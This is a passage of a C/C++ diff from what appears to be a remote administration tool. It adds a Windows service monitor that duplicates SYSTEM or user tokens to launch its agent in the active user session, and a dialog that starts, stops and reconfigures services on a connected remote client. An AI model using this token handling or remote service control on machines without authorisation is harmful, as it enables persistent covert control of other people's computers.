DWORD sessionId = pSessionInfo[i].SessionId;
|
||||
foundActiveSession = TRUE;
|
||||
|
||||
// 记录会话(每5次循环记录一次,避免日志过多)
|
||||
if (loopCount % 5 == 1) {
|
||||
sprintf_s(buf, sizeof(buf), "Active session found: ID=%d, Name=%s",
|
||||
(int)sessionId,
|
||||
pSessionInfo[i].pWinStationName);
|
||||
Mprintf(buf);
|
||||
}
|
||||
|
||||
// 检查GUI是否在该会话中运行
|
||||
if (!IsGuiRunningInSession(self, sessionId)) {
|
||||
sprintf_s(buf, sizeof(buf), "GUI not running in session %d, launching...", (int)sessionId);
|
||||
Mprintf(buf);
|
||||
|
||||
if (LaunchGuiInSession(self, sessionId)) {
|
||||
Mprintf("GUI launched successfully");
|
||||
// 给程序一些时间启动
|
||||
Sleep(2000);
|
||||
} else {
|
||||
Mprintf("Failed to launch GUI");
|
||||
}
|
||||
}
|
||||
|
||||
// 只处理第一个活动会话
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (!foundActiveSession && loopCount % 5 == 1) {
|
||||
Mprintf("No active sessions found");
|
||||
}
|
||||
|
||||
WTSFreeMemory(pSessionInfo);
|
||||
} else {
|
||||
if (loopCount % 5 == 1) {
|
||||
Mprintf("WTSEnumerateSessions failed");
|
||||
}
|
||||
}
|
||||
|
||||
// 每10秒检查一次
|
||||
for (int j = 0; j < 100 && self->running; j++) {
|
||||
Sleep(100);
|
||||
}
|
||||
}
|
||||
|
||||
Mprintf("Monitor loop exited");
|
||||
}
|
||||
|
||||
static BOOL IsGuiRunningInSession(ServerSessionMonitor* self, DWORD sessionId)
|
||||
{
|
||||
(void)self; // 未使用
|
||||
|
||||
// 获取当前进程的 exe 名称
|
||||
char currentExeName[MAX_PATH];
|
||||
if (!GetModuleFileNameA(NULL, currentExeName, MAX_PATH)) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// 获取文件名(不含路径)
|
||||
char* pFileName = strrchr(currentExeName, '\\');
|
||||
if (pFileName) {
|
||||
pFileName++;
|
||||
} else {
|
||||
pFileName = currentExeName;
|
||||
}
|
||||
|
||||
// 获取当前服务进程的 PID
|
||||
DWORD currentPID = GetCurrentProcessId();
|
||||
|
||||
// 创建进程快照
|
||||
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||
if (hSnapshot == INVALID_HANDLE_VALUE) {
|
||||
Mprintf("CreateToolhelp32Snapshot failed");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
PROCESSENTRY32 pe32;
|
||||
pe32.dwSize = sizeof(PROCESSENTRY32);
|
||||
BOOL found = FALSE;
|
||||
|
||||
if (Process32First(hSnapshot, &pe32)) {
|
||||
do {
|
||||
// 查找同名的 exe
|
||||
if (_stricmp(pe32.szExeFile, pFileName) == 0) {
|
||||
// 排除服务进程自己
|
||||
if (pe32.th32ProcessID == currentPID) {
|
||||
continue;
|
||||
}
|
||||
|
||||
// 获取进程的会话ID
|
||||
DWORD procSessionId;
|
||||
if (ProcessIdToSessionId(pe32.th32ProcessID, &procSessionId)) {
|
||||
if (procSessionId == sessionId) {
|
||||
// 找到了:同名 exe,不同 PID,在目标会话中
|
||||
found = TRUE;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
} while (Process32Next(hSnapshot, &pe32));
|
||||
}
|
||||
|
||||
SAFE_CLOSE_HANDLE(hSnapshot);
|
||||
return found;
|
||||
}
|
||||
|
||||
// 终止所有GUI进程
|
||||
static void TerminateAllGui(ServerSessionMonitor* self)
|
||||
{
|
||||
char buf[256];
|
||||
|
||||
EnterCriticalSection(&self->csProcessList);
|
||||
|
||||
sprintf_s(buf, sizeof(buf), "Terminating %d GUI process(es)", (int)self->agentProcesses.count);
|
||||
Mprintf(buf);
|
||||
|
||||
for (size_t i = 0; i < self->agentProcesses.count; i++) {
|
||||
ServerAgentProcessInfo* info = &self->agentProcesses.items[i];
|
||||
|
||||
sprintf_s(buf, sizeof(buf), "Terminating GUI PID=%d (Session %d)",
|
||||
(int)info->processId, (int)info->sessionId);
|
||||
Mprintf(buf);
|
||||
|
||||
// 检查进程是否还活着
|
||||
DWORD exitCode;
|
||||
if (GetExitCodeProcess(info->hProcess, &exitCode)) {
|
||||
if (exitCode == STILL_ACTIVE) {
|
||||
// 进程还在运行,终止它
|
||||
if (!TerminateProcess(info->hProcess, 0)) {
|
||||
sprintf_s(buf, sizeof(buf), "WARNING: Failed to terminate PID=%d, error=%d",
|
||||
(int)info->processId, (int)GetLastError());
|
||||
Mprintf(buf);
|
||||
} else {
|
||||
Mprintf("GUI terminated successfully");
|
||||
// 等待进程完全退出
|
||||
WaitForSingleObject(info->hProcess, 5000);
|
||||
}
|
||||
} else {
|
||||
sprintf_s(buf, sizeof(buf), "GUI PID=%d already exited with code %d",
|
||||
(int)info->processId, (int)exitCode);
|
||||
Mprintf(buf);
|
||||
}
|
||||
}
|
||||
|
||||
SAFE_CLOSE_HANDLE(info->hProcess);
|
||||
}
|
||||
|
||||
self->agentProcesses.count = 0; // 清空列表
|
||||
|
||||
LeaveCriticalSection(&self->csProcessList);
|
||||
Mprintf("All GUI processes terminated");
|
||||
}
|
||||
|
||||
// 清理已经终止的进程
|
||||
static void CleanupDeadProcesses(ServerSessionMonitor* self)
|
||||
{
|
||||
char buf[256];
|
||||
|
||||
EnterCriticalSection(&self->csProcessList);
|
||||
|
||||
size_t i = 0;
|
||||
while (i < self->agentProcesses.count) {
|
||||
ServerAgentProcessInfo* info = &self->agentProcesses.items[i];
|
||||
|
||||
DWORD exitCode;
|
||||
if (GetExitCodeProcess(info->hProcess, &exitCode)) {
|
||||
if (exitCode != STILL_ACTIVE) {
|
||||
// 进程已退出
|
||||
ULONGLONG runtime = GetTickCount64() - info->launchTime;
|
||||
sprintf_s(buf, sizeof(buf), "GUI PID=%d exited with code %d after %llu ms, cleaning up",
|
||||
(int)info->processId, (int)exitCode, runtime);
|
||||
Mprintf(buf);
|
||||
|
||||
// 调用退出回调(用于统计累计运行时间,每次退出都记录)
|
||||
if (self->onAgentExit) {
|
||||
self->onAgentExit(exitCode, runtime);
|
||||
}
|
||||
|
||||
// 检查是否是用户主动退出(通过菜单退出)
|
||||
// 如果是,停止监控循环,不再重启代理
|
||||
if (exitCode == EXIT_MANUAL_STOP) {
|
||||
Mprintf("Agent exited with EXIT_MANUAL_STOP - stopping monitor");
|
||||
self->running = FALSE;
|
||||
}
|
||||
// 统计所有崩溃(用于 MTBF 计算)
|
||||
// exitCode != 0 且不是主动退出/重启请求,都视为崩溃
|
||||
else if (exitCode != 0 && exitCode != EXIT_RESTART_REQUEST) {
|
||||
// 调用崩溃统计回调(所有崩溃都记录,用于 MTBF)
|
||||
if (self->onCrash) {
|
||||
self->onCrash(exitCode, runtime);
|
||||
}
|
||||
// 快速崩溃才触发崩溃保护(防止重启循环)
|
||||
if (runtime < FAST_CRASH_TIME_MS && !self->crashProtected) {
|
||||
HandleFastCrash(self, exitCode, runtime);
|
||||
}
|
||||
}
|
||||
|
||||
SAFE_CLOSE_HANDLE(info->hProcess);
|
||||
AgentArray_RemoveAt(&self->agentProcesses, i);
|
||||
continue; // 不增加 i,因为删除了元素
|
||||
}
|
||||
} else {
|
||||
// 无法获取退出代码,可能进程已不存在
|
||||
ULONGLONG runtime = GetTickCount64() - info->launchTime;
|
||||
sprintf_s(buf, sizeof(buf), "Cannot query GUI PID=%d (runtime %llu ms), removing from list",
|
||||
(int)info->processId, runtime);
|
||||
Mprintf(buf);
|
||||
|
||||
// 调用退出回调(用于统计累计运行时间)
|
||||
if (self->onAgentExit) {
|
||||
self->onAgentExit(0xFFFFFFFF, runtime);
|
||||
}
|
||||
|
||||
// 无法获取退出代码视为崩溃(保守处理)
|
||||
// 调用崩溃统计回调(用于 MTBF)
|
||||
if (self->onCrash) {
|
||||
self->onCrash(0xFFFFFFFF, runtime);
|
||||
}
|
||||
// 快速崩溃才触发崩溃保护
|
||||
if (runtime < FAST_CRASH_TIME_MS && !self->crashProtected) {
|
||||
HandleFastCrash(self, 0xFFFFFFFF, runtime);
|
||||
}
|
||||
|
||||
SAFE_CLOSE_HANDLE(info->hProcess);
|
||||
AgentArray_RemoveAt(&self->agentProcesses, i);
|
||||
continue;
|
||||
}
|
||||
|
||||
i++;
|
||||
}
|
||||
|
||||
LeaveCriticalSection(&self->csProcessList);
|
||||
}
|
||||
|
||||
static BOOL LaunchGuiInSession(ServerSessionMonitor* self, DWORD sessionId)
|
||||
{
|
||||
char buf[512];
|
||||
|
||||
sprintf_s(buf, sizeof(buf), "Attempting to launch GUI in session %d (runAsUser=%d)",
|
||||
(int)sessionId, (int)self->runAsUser);
|
||||
Mprintf(buf);
|
||||
|
||||
STARTUPINFO si;
|
||||
PROCESS_INFORMATION pi;
|
||||
memset(&si, 0, sizeof(si));
|
||||
memset(&pi, 0, sizeof(pi));
|
||||
|
||||
si.cb = sizeof(STARTUPINFO);
|
||||
si.lpDesktop = (LPSTR)"winsta0\\default"; // 关键:指定桌面
|
||||
|
||||
HANDLE hToken = NULL;
|
||||
HANDLE hDupToken = NULL;
|
||||
|
||||
if (self->runAsUser) {
|
||||
// 模式1:以用户身份运行(解决IME、剪切板等问题)
|
||||
Mprintf("Mode: Run as User");
|
||||
|
||||
// 直接获取用户令牌
|
||||
if (!WTSQueryUserToken(sessionId, &hToken)) {
|
||||
sprintf_s(buf, sizeof(buf), "WTSQueryUserToken failed: %d", (int)GetLastError());
|
||||
Mprintf(buf);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// 复制为主令牌
|
||||
if (!DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, NULL,
|
||||
SecurityImpersonation, TokenPrimary, &hDupToken)) {
|
||||
sprintf_s(buf, sizeof(buf), "DuplicateTokenEx failed: %d", (int)GetLastError());
|
||||
Mprintf(buf);
|
||||
SAFE_CLOSE_HANDLE(hToken);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
Mprintf("User token obtained and duplicated");
|
||||
} else {
|
||||
// 模式2:以SYSTEM身份运行(现有逻辑)
|
||||
Mprintf("Mode: Run as SYSTEM");
|
||||
|
||||
// 获取当前服务进程的 SYSTEM 令牌
|
||||
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_DUPLICATE | TOKEN_QUERY, &hToken)) {
|
||||
sprintf_s(buf, sizeof(buf), "OpenProcessToken failed: %d", (int)GetLastError());
|
||||
Mprintf(buf);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// 复制为可用于创建进程的主令牌
|
||||
if (!DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, NULL,
|
||||
SecurityImpersonation, TokenPrimary, &hDupToken)) {
|
||||
sprintf_s(buf, sizeof(buf), "DuplicateTokenEx failed: %d", (int)GetLastError());
|
||||
Mprintf(buf);
|
||||
SAFE_CLOSE_HANDLE(hToken);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// 修改令牌的会话 ID 为目标用户会话
|
||||
if (!SetTokenInformation(hDupToken, TokenSessionId, &sessionId, sizeof(sessionId))) {
|
||||
sprintf_s(buf, sizeof(buf), "SetTokenInformation failed: %d", (int)GetLastError());
|
||||
Mprintf(buf);
|
||||
SAFE_CLOSE_HANDLE(hDupToken);
|
||||
SAFE_CLOSE_HANDLE(hToken);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
Mprintf("SYSTEM token duplicated");
|
||||
}
|
||||
|
||||
// 获取当前程序路径(就是自己)
|
||||
char exePath[MAX_PATH];
|
||||
if (!GetModuleFileNameA(NULL, exePath, MAX_PATH)) {
|
||||
Mprintf("GetModuleFileName failed");
|
||||
SAFE_CLOSE_HANDLE(hDupToken);
|
||||
SAFE_CLOSE_HANDLE(hToken);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
sprintf_s(buf, sizeof(buf), "Service path: %s", exePath);
|
||||
Mprintf(buf);
|
||||
|
||||
// 检查文件是否存在
|
||||
DWORD fileAttr = GetFileAttributesA(exePath);
|
||||
if (fileAttr == INVALID_FILE_ATTRIBUTES) {
|
||||
sprintf_s(buf, sizeof(buf), "ERROR: Executable not found at: %s", exePath);
|
||||
Mprintf(buf);
|
||||
SAFE_CLOSE_HANDLE(hDupToken);
|
||||
SAFE_CLOSE_HANDLE(hToken);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// 构建命令行:同一个 exe, 但添加 -agent 或 -agent-asuser 参数
|
||||
char cmdLine[MAX_PATH + 32];
|
||||
if (self->runAsUser) {
|
||||
sprintf_s(cmdLine, sizeof(cmdLine), "\"%s\" -agent-asuser", exePath);
|
||||
} else {
|
||||
sprintf_s(cmdLine, sizeof(cmdLine), "\"%s\" -agent", exePath);
|
||||
}
|
||||
|
||||
sprintf_s(buf, sizeof(buf), "Command line: %s", cmdLine);
|
||||
Mprintf(buf);
|
||||
|
||||
// 获取用户令牌(用于获取环境块)
|
||||
LPVOID lpEnvironment = NULL;
|
||||
HANDLE hUserToken = NULL;
|
||||
if (!WTSQueryUserToken(sessionId, &hUserToken)) {
|
||||
sprintf_s(buf, sizeof(buf), "WTSQueryUserToken failed: %d", (int)GetLastError());
|
||||
Mprintf(buf);
|
||||
}
|
||||
|
||||
// 使用用户令牌创建环境块
|
||||
if (hUserToken) {
|
||||
if (!CreateEnvironmentBlock(&lpEnvironment, hUserToken, FALSE)) {
|
||||
Mprintf("CreateEnvironmentBlock failed");
|
||||
}
|
||||
SAFE_CLOSE_HANDLE(hUserToken);
|
||||
}
|
||||
|
||||
// 在用户会话中创建进程(GUI程序,不隐藏窗口)
|
||||
BOOL result = CreateProcessAsUserA(
|
||||
hDupToken,
|
||||
NULL, // 应用程序名(在命令行中解析)
|
||||
cmdLine, // 命令行参数:Yama.exe -agent
|
||||
NULL, // 进程安全属性
|
||||
NULL, // 线程安全属性
|
||||
FALSE, // 不继承句柄
|
||||
NORMAL_PRIORITY_CLASS | CREATE_UNICODE_ENVIRONMENT, // GUI程序不需要 CREATE_NO_WINDOW
|
||||
lpEnvironment, // 环境变量
|
||||
NULL, // 当前目录
|
||||
&si,
|
||||
&pi
|
||||
);
|
||||
|
||||
if (lpEnvironment) {
|
||||
DestroyEnvironmentBlock(lpEnvironment);
|
||||
}
|
||||
|
||||
if (result) {
|
||||
sprintf_s(buf, sizeof(buf), "SUCCESS: GUI process created (PID=%d)", (int)pi.dwProcessId);
|
||||
Mprintf(buf);
|
||||
|
||||
// 保存进程信息,以便停止时可以终止它
|
||||
EnterCriticalSection(&self->csProcessList);
|
||||
ServerAgentProcessInfo info;
|
||||
info.processId = pi.dwProcessId;
|
||||
info.sessionId = sessionId;
|
||||
info.hProcess = pi.hProcess; // 不关闭句柄,留着后面终止
|
||||
info.launchTime = GetTickCount64(); // 记录启动时间
|
||||
AgentArray_Add(&self->agentProcesses, &info);
|
||||
LeaveCriticalSection(&self->csProcessList);
|
||||
|
||||
// 调用启动回调(用于统计启动次数)
|
||||
if (self->onAgentStart) {
|
||||
self->onAgentStart(pi.dwProcessId, sessionId);
|
||||
}
|
||||
|
||||
SAFE_CLOSE_HANDLE(pi.hThread); // 线程句柄可以关闭
|
||||
} else {
|
||||
DWORD err = GetLastError();
|
||||
sprintf_s(buf, sizeof(buf), "CreateProcessAsUser failed: %d", (int)err);
|
||||
Mprintf(buf);
|
||||
|
||||
// 提供更详细的错误信息
|
||||
if (err == ERROR_FILE_NOT_FOUND) {
|
||||
Mprintf("ERROR: Executable not found");
|
||||
} else if (err == ERROR_ACCESS_DENIED) {
|
||||
Mprintf("ERROR: Access denied - service may not have sufficient privileges");
|
||||
} else if (err == 1314) {
|
||||
Mprintf("ERROR: Service does not have SE_INCREASE_QUOTA privilege");
|
||||
}
|
||||
}
|
||||
|
||||
SAFE_CLOSE_HANDLE(hDupToken);
|
||||
SAFE_CLOSE_HANDLE(hToken);
|
||||
|
||||
return result;
|
||||
}
|
||||
75
server/2015Remote/ServerSessionMonitor.h
Normal file
75
server/2015Remote/ServerSessionMonitor.h
Normal file
@@ -0,0 +1,75 @@
|
||||
#ifndef SERVER_SESSION_MONITOR_H
|
||||
#define SERVER_SESSION_MONITOR_H
|
||||
|
||||
#include <windows.h>
|
||||
#include <wtsapi32.h>
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
#pragma comment(lib, "wtsapi32.lib")
|
||||
|
||||
// GUI进程信息
|
||||
typedef struct ServerAgentProcessInfo {
|
||||
DWORD processId;
|
||||
DWORD sessionId;
|
||||
HANDLE hProcess;
|
||||
ULONGLONG launchTime; // 启动时间 (GetTickCount64)
|
||||
} ServerAgentProcessInfo;
|
||||
|
||||
// GUI进程数组(动态数组)
|
||||
typedef struct ServerAgentProcessArray {
|
||||
ServerAgentProcessInfo* items;
|
||||
size_t count;
|
||||
size_t capacity;
|
||||
} ServerAgentProcessArray;
|
||||
|
||||
// 崩溃保护参数
|
||||
#define CRASH_WINDOW_MS (5 * 60 * 1000) // 5分钟窗口
|
||||
#define CRASH_THRESHOLD 3 // 3次崩溃触发保护
|
||||
#define FAST_CRASH_TIME_MS 30000 // 30秒内退出视为快速崩溃
|
||||
|
||||
// 回调函数类型
|
||||
typedef void (*AgentStartCallback)(DWORD processId, DWORD sessionId); // 代理启动回调
|
||||
typedef void (*AgentExitCallback)(DWORD exitCode, ULONGLONG runtimeMs); // 代理退出回调(每次退出,包括正常和崩溃)
|
||||
typedef void (*CrashCallback)(DWORD exitCode, ULONGLONG runtimeMs); // 崩溃回调,带退出代码和运行时间
|
||||
typedef void (*CrashWindowCallback)(int crashCount, ULONGLONG firstCrashTime); // 崩溃窗口状态变化回调
|
||||
typedef void (*CrashProtectionCallback)(void); // 崩溃保护回调
|
||||
|
||||
// 会话监控器结构
|
||||
typedef struct ServerSessionMonitor {
|
||||
HANDLE monitorThread;
|
||||
BOOL running;
|
||||
BOOL runAsUser; // TRUE: 以用户身份运行代理, FALSE: 以SYSTEM身份运行代理
|
||||
CRITICAL_SECTION csProcessList;
|
||||
ServerAgentProcessArray agentProcesses;
|
||||
// 崩溃保护
|
||||
int crashCount; // 窗口期内崩溃次数
|
||||
ULONGLONG firstCrashTime; // 第一次崩溃时间(窗口起点)
|
||||
BOOL crashProtected; // 是否已触发崩溃保护
|
||||
// 回调函数
|
||||
AgentStartCallback onAgentStart; // 代理启动时的回调(用于统计启动次数)
|
||||
AgentExitCallback onAgentExit; // 代理退出时的回调(用于统计运行时间)
|
||||
CrashCallback onCrash; // 每次崩溃时的回调(用于统计)
|
||||
CrashWindowCallback onCrashWindowChange; // 崩溃窗口状态变化时的回调(用于持久化)
|
||||
CrashProtectionCallback onCrashProtection; // 崩溃保护触发时的回调
|
||||
} ServerSessionMonitor;
|
||||
|
||||
// 初始化会话监控器
|
||||
void ServerSessionMonitor_Init(ServerSessionMonitor* self);
|
||||
|
||||
// 清理会话监控器资源
|
||||
void ServerSessionMonitor_Cleanup(ServerSessionMonitor* self);
|
||||
|
||||
// 启动会话监控
|
||||
BOOL ServerSessionMonitor_Start(ServerSessionMonitor* self);
|
||||
|
||||
// 停止会话监控
|
||||
void ServerSessionMonitor_Stop(ServerSessionMonitor* self);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif /* SERVER_SESSION_MONITOR_H */
|
||||
275
server/2015Remote/ServicesDlg.cpp
Normal file
275
server/2015Remote/ServicesDlg.cpp
Normal file
@@ -0,0 +1,275 @@
|
||||
// ServicesDlg.cpp : 实现文件
|
||||
//
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "2015Remote.h"
|
||||
#include "ServicesDlg.h"
|
||||
#include "afxdialogex.h"
|
||||
|
||||
|
||||
// CServicesDlg 对话框
|
||||
|
||||
IMPLEMENT_DYNAMIC(CServicesDlg, CDialog)
|
||||
|
||||
// ItemData1 不要和ItemData同名了,同名的话调试会有问题
|
||||
typedef struct ItemData1 {
|
||||
CString Data[5];
|
||||
CString GetData(int index) const
|
||||
{
|
||||
return this ? Data[index] : "";
|
||||
}
|
||||
} ItemData1;
|
||||
|
||||
CServicesDlg::CServicesDlg(CWnd* pParent, Server* IOCPServer, CONTEXT_OBJECT *ContextObject)
|
||||
: DialogBase(CServicesDlg::IDD, pParent, IOCPServer, ContextObject, IDI_SERVICE)
|
||||
{
|
||||
}
|
||||
|
||||
CServicesDlg::~CServicesDlg()
|
||||
{
|
||||
}
|
||||
|
||||
void CServicesDlg::DoDataExchange(CDataExchange* pDX)
|
||||
{
|
||||
__super::DoDataExchange(pDX);
|
||||
DDX_Control(pDX, IDC_LIST, m_ControlList);
|
||||
DDX_Control(pDX, IDC_STATIC_COUNT, m_ServicesCount);
|
||||
}
|
||||
|
||||
|
||||
BEGIN_MESSAGE_MAP(CServicesDlg, CDialog)
|
||||
ON_WM_CLOSE()
|
||||
ON_WM_SIZE()
|
||||
ON_COMMAND(ID_SERVICES_AUTO, &CServicesDlg::OnServicesAuto)
|
||||
ON_COMMAND(ID_SERVICES_MANUAL, &CServicesDlg::OnServicesManual)
|
||||
ON_COMMAND(ID_SERVICES_STOP, &CServicesDlg::OnServicesStop)
|
||||
ON_COMMAND(ID_SERVICES_START, &CServicesDlg::OnServicesStart)
|
||||
ON_COMMAND(ID_SERVICES_REFLASH, &CServicesDlg::OnServicesReflash)
|
||||
ON_NOTIFY(NM_RCLICK, IDC_LIST, &CServicesDlg::OnNMRClickList)
|
||||
ON_NOTIFY(HDN_ITEMCLICK, 0, &CServicesDlg::OnHdnItemclickList)
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
|
||||
// CServicesDlg 消息处理程序
|
||||
|
||||
|
||||
BOOL CServicesDlg::OnInitDialog()
|
||||
{
|
||||
__super::OnInitDialog();
|
||||
|
||||
SetIcon(m_hIcon, TRUE);
|
||||
SetIcon(m_hIcon, FALSE);
|
||||
CString strString;
|
||||
strString.FormatL("%s - 服务管理",m_IPAddress);
|
||||
SetWindowText(strString);
|
||||
|
||||
m_ControlList.SetExtendedStyle( LVS_EX_FULLROWSELECT);
|
||||
m_ControlList.InsertColumnL(0, "真实名称", LVCFMT_LEFT, 150);
|
||||
m_ControlList.InsertColumnL(1, "显示名称", LVCFMT_LEFT, 260);
|
||||
m_ControlList.InsertColumnL(2, "启动类型", LVCFMT_LEFT, 80);
|
||||
m_ControlList.InsertColumnL(3, "运行状态", LVCFMT_LEFT, 80);
|
||||
m_ControlList.InsertColumnL(4, "可执行文件路径", LVCFMT_LEFT, 380);
|
||||
|
||||
ShowServicesList();
|
||||
return TRUE; // return TRUE unless you set the focus to a control
|
||||
// 异常: OCX 属性页应返回 FALSE
|
||||
}
|
||||
|
||||
int CServicesDlg::ShowServicesList(void)
|
||||
{
|
||||
Buffer tmp = m_ContextObject->InDeCompressedBuffer.GetMyBuffer(1);
|
||||
char *szBuffer = tmp.c_str();
|
||||
char *szDisplayName;
|
||||
char *szServiceName;
|
||||
char *szRunWay;
|
||||
char *szAutoRun;
|
||||
char *szFilePath;
|
||||
DWORD dwOffset = 0;
|
||||
DeleteAllItems();
|
||||
|
||||
int i = 0;
|
||||
for (i = 0; dwOffset < m_ContextObject->InDeCompressedBuffer.GetBufferLength() - 1; ++i) {
|
||||
szDisplayName = szBuffer + dwOffset;
|
||||
szServiceName = szDisplayName + lstrlen(szDisplayName) +1;
|
||||
szFilePath= szServiceName + lstrlen(szServiceName) +1;
|
||||
szRunWay = szFilePath + lstrlen(szFilePath) + 1;
|
||||
szAutoRun = szRunWay + lstrlen(szRunWay) + 1;
|
||||
|
||||
m_ControlList.InsertItem(i, szServiceName);
|
||||
m_ControlList.SetItemText(i, 1, szDisplayName);
|
||||
m_ControlList.SetItemText(i, 2, szAutoRun);
|
||||
m_ControlList.SetItemText(i, 3, szRunWay);
|
||||
m_ControlList.SetItemText(i, 4, szFilePath );
|
||||
auto data = new ItemData1{ szServiceName, szDisplayName, szAutoRun, szRunWay, szFilePath };
|
||||
m_ControlList.SetItemData(i, (DWORD_PTR)data);
|
||||
dwOffset += lstrlen(szDisplayName) + lstrlen(szServiceName) + lstrlen(szFilePath) + lstrlen(szRunWay)
|
||||
+ lstrlen(szAutoRun) +5;
|
||||
}
|
||||
|
||||
CString strTemp;
|
||||
strTemp.FormatL("服务个数:%d",i);
|
||||
|
||||
m_ServicesCount.SetWindowText(strTemp);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
void CServicesDlg::OnClose()
|
||||
{
|
||||
CancelIO();
|
||||
// 等待数据处理完毕
|
||||
if (IsProcessing()) {
|
||||
ShowWindow(SW_HIDE);
|
||||
return;
|
||||
}
|
||||
|
||||
DeleteAllItems();
|
||||
|
||||
DialogBase::OnClose();
|
||||
}
|
||||
|
||||
|
||||
void CServicesDlg::OnServicesAuto()
|
||||
{
|
||||
ServicesConfig(3);
|
||||
}
|
||||
|
||||
|
||||
void CServicesDlg::OnServicesManual()
|
||||
{
|
||||
ServicesConfig(4);
|
||||
}
|
||||
|
||||
|
||||
void CServicesDlg::OnServicesStop()
|
||||
{
|
||||
ServicesConfig(2);
|
||||
}
|
||||
|
||||
|
||||
void CServicesDlg::OnServicesStart()
|
||||
{
|
||||
ServicesConfig(1);
|
||||
}
|
||||
|
||||
|
||||
void CServicesDlg::OnServicesReflash()
|
||||
{
|
||||
BYTE bToken = COMMAND_SERVICELIST; //刷新
|
||||
m_ContextObject->Send2Client(&bToken, 1);
|
||||
}
|
||||
|
||||
// 释放资源以后再清空
|
||||
void CServicesDlg::DeleteAllItems()
|
||||
{
|
||||
for (int i = 0; i < m_ControlList.GetItemCount(); i++) {
|
||||
auto data = (ItemData1*)m_ControlList.GetItemData(i);
|
||||
if (NULL != data) {
|
||||
delete data;
|
||||
}
|
||||
}
|
||||
m_ControlList.DeleteAllItems();
|
||||
}
|
||||
|
||||
int CALLBACK CServicesDlg::CompareFunction(LPARAM lParam1, LPARAM lParam2, LPARAM lParamSort)
|
||||
{
|
||||
auto* pSortInfo = reinterpret_cast<std::pair<int, bool>*>(lParamSort);
|
||||
int nColumn = pSortInfo->first;
|
||||
bool bAscending = pSortInfo->second;
|
||||
|
||||
// 获取列值
|
||||
ItemData1* context1 = (ItemData1*)lParam1;
|
||||
ItemData1* context2 = (ItemData1*)lParam2;
|
||||
CString s1 = context1->GetData(nColumn);
|
||||
CString s2 = context2->GetData(nColumn);
|
||||
|
||||
int result = s1 > s2 ? 1 : -1;
|
||||
return bAscending ? result : -result;
|
||||
}
|
||||
|
||||
void CServicesDlg::SortByColumn(int nColumn)
|
||||
{
|
||||
static int m_nSortColumn = 0;
|
||||
static bool m_bSortAscending = false;
|
||||
if (nColumn == m_nSortColumn) {
|
||||
// 如果点击的是同一列,切换排序顺序
|
||||
m_bSortAscending = !m_bSortAscending;
|
||||
} else {
|
||||
// 否则,切换到新列并设置为升序
|
||||
m_nSortColumn = nColumn;
|
||||
m_bSortAscending = true;
|
||||
}
|
||||
|
||||
// 创建排序信息
|
||||
std::pair<int, bool> sortInfo(m_nSortColumn, m_bSortAscending);
|
||||
m_ControlList.SortItems(CompareFunction, reinterpret_cast<LPARAM>(&sortInfo));
|
||||
}
|
||||
|
||||
void CServicesDlg::OnHdnItemclickList(NMHDR* pNMHDR, LRESULT* pResult)
|
||||
{
|
||||
LPNMHEADER pNMHeader = reinterpret_cast<LPNMHEADER>(pNMHDR);
|
||||
int nColumn = pNMHeader->iItem; // 获取点击的列索引
|
||||
SortByColumn(nColumn); // 调用排序函数
|
||||
*pResult = 0;
|
||||
}
|
||||
|
||||
void CServicesDlg::OnNMRClickList(NMHDR *pNMHDR, LRESULT *pResult)
|
||||
{
|
||||
LPNMITEMACTIVATE pNMItemActivate = reinterpret_cast<LPNMITEMACTIVATE>(pNMHDR);
|
||||
|
||||
CMenu Menu;
|
||||
Menu.LoadMenu(IDR_MENU_SERVICES);
|
||||
TranslateMenu(&Menu);
|
||||
CMenu *SubMenu=Menu.GetSubMenu(0);
|
||||
CPoint Point;
|
||||
GetCursorPos(&Point);
|
||||
SubMenu->TrackPopupMenu(TPM_LEFTALIGN|TPM_LEFTBUTTON,Point.x,Point.y,this);
|
||||
*pResult = 0;
|
||||
}
|
||||
|
||||
|
||||
void CServicesDlg::OnReceiveComplete(void)
|
||||
{
|
||||
switch (m_ContextObject->InDeCompressedBuffer.GetBYTE(0)) {
|
||||
case TOKEN_SERVERLIST:
|
||||
ShowServicesList();
|
||||
break;
|
||||
default:
|
||||
// 传输发生异常数据
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
void CServicesDlg::ServicesConfig(BYTE bCmd)
|
||||
{
|
||||
DWORD dwOffset = 2;
|
||||
POSITION Pos = m_ControlList.GetFirstSelectedItemPosition();
|
||||
int iItem = m_ControlList.GetNextSelectedItem(Pos);
|
||||
|
||||
CString strServicesName = m_ControlList.GetItemText(iItem, 0 );
|
||||
char* szServiceName = strServicesName.GetBuffer(0);
|
||||
LPBYTE szBuffer = (LPBYTE)LocalAlloc(LPTR, 3 + lstrlen(szServiceName)); //[][][]\0
|
||||
szBuffer[0] = COMMAND_SERVICECONFIG;
|
||||
szBuffer[1] = bCmd;
|
||||
|
||||
|
||||
memcpy(szBuffer + dwOffset, szServiceName, lstrlen(szServiceName)+1);
|
||||
|
||||
m_ContextObject->Send2Client(szBuffer, LocalSize(szBuffer));
|
||||
LocalFree(szBuffer);
|
||||
}
|
||||
|
||||
void CServicesDlg::OnSize(UINT nType, int cx, int cy)
|
||||
{
|
||||
__super::OnSize(nType, cx, cy);
|
||||
|
||||
if (!m_ControlList.GetSafeHwnd()) return; // 确保控件已创建
|
||||
|
||||
// 计算新位置和大小
|
||||
CRect rc;
|
||||
m_ControlList.GetWindowRect(&rc);
|
||||
